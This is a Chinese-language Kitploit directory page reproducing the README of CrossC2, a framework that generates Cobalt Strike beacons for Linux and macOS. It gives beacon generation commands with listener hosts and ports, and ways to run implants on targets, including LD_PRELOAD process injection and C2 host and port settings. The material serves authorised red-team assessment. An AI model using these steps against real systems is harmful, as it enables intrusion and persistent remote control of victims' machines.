Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CrossC2 — 生成 CobaltStrike 的跨平台载荷 | Kitploit
工具/GitHubGitHub/gloxec/crossc2
渗透测试框架漏洞利用框架Payload生成后渗透利用命令与控制红队Payload 开发
GitHubgloxec/crossc2

CrossC2

生成 CobaltStrike 的跨平台载荷

查看仓库
2.6k3743年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CrossC2 framework

Linux macOS GitHub issues-closed Release Downloads

CrossC2 Logo

README | 中文文档 | README_FULL | 中文完整文档

CobaltStrike 支持说明

支持CobaltStrike对其他平台(Linux/MacOS/...)的安全评估,及包含Unix后渗透模块开发支持

2023-07-31 16.56.51

Usage

Usage 链接:

  1. 下载

从 Release页面 下载:

  1. genCrossC2 (beacon生成器)
  2. CrossC2.cna (GUI生成器插件) 修改CrossC2.cna配置并加载
  3. CrossC2Kit (CrossC2相关插件) 加载 CrossC2Kit_loader.cna
  1. 创建listener与拷贝key
  • 创建windows/beacon_https/reverse_https listener
  • 拷贝teamserver目录的 .cobaltstrike.beacon_keys到本地
  1. 功能扩展
  • 添加CrossC2Kit_Loader.cna, 包含内存加载等其它功能
  • cs4.x版本文件管理、进程列表功能被CS官方移除,必须使用此Loader来重启
  1. 生成beacon

默认使用cli或cna提供的GUI功能生成beacon

genCrossC2 <listener-ip/domain> <listener-port> <beacon_keys> <rebind_library;config.ini;c2profile.profile> <target_platform> <target_arch>

ex:

root@kitploit:~
1. 从当前路径读取beacon Key并生成默认profile流量协议的beacon
    genCrossC2 127.0.0.1 5555 null null Linux x64 beacon.out
     
2. 指定自定义协议动态库的beacon
    genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys c2profile.so MacOS x64 beacon.out

3. 指定需要自动解析的c2profile
    genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out

更多高级配置具体可见文档: 📄文档

  1. 运行beacon
  • 在目标上运行CrossC2插件生成的一键上线脚本
  • 上传beacon至目标机器后进行赋权运行
  • 以动态库方式注入其他进程执行: LD_PRELOAD=/tmp/c2.so java
  • 为beacon设定工作目录并运行: export CCPATH=/opt/ && /tmp/c2
  • 为beacon临时指定协议库并运行: /tmp/c2 /tmp/c2-rebind.so
  • 为beacon临时设定C2配置: export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2

CrossC2Kit

CrossC2Kit: https://github.com/CrossC2/CrossC2Kit

CrossC2Kit 是围绕着CrossC2 衍生出的Unix平台后渗透扩展,采用 Aggressor Script 开源脚本引擎。可以用来创建自动化来模拟红队操作过程,以及扩展CobaltStrike客户端。

CrossC2Kit 整体继承于CobaltStrike原有的功能,所以开发与编写语法仍然参照官方文档: https://trial.cobaltstrike.com/aggressor-script/index.html

但它在 CrossC2 之上又进行了一些API拓展,用于控制 Unix 平台beacon

API: 📄文档

使用演示: CrossC2_action2

提示

仅做企业、组织内部自身使用,本框架具有一定脆弱性,非专业人员请勿使用,以及禁止用于非法用途及盈利等,否则造成经济损失等问题自行承担并追究其相关责任!

todo

  1. http-proxy (auth) & socks 代理回连支持
  2. node beacon? (单个节点式,可进行不依靠teamserver托管其他beacon)
  • 3. Linux & MacOS 端so/dylib的上线支持、及其衍生的进程注入等功能

感谢

感谢 @Emma 为CrossC2设计的Logo, 沿用 Armitage 、CobaltStrike 系列风格进行设计

下载工具
CS3.14(bug fixes)CS4.0CS4.X (4.1~4.8)
Master分支✅
cs4.0分支✅
cs4.1分支✅
Release 页面 <= v2.1✅
Release 页面 >= v2.2✅